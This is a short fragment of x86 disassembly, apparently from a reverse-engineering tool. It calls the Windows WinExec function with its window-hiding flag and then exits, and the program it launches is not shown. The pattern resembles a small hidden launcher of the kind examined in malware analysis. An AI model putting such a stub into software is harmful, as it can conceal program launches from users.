mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]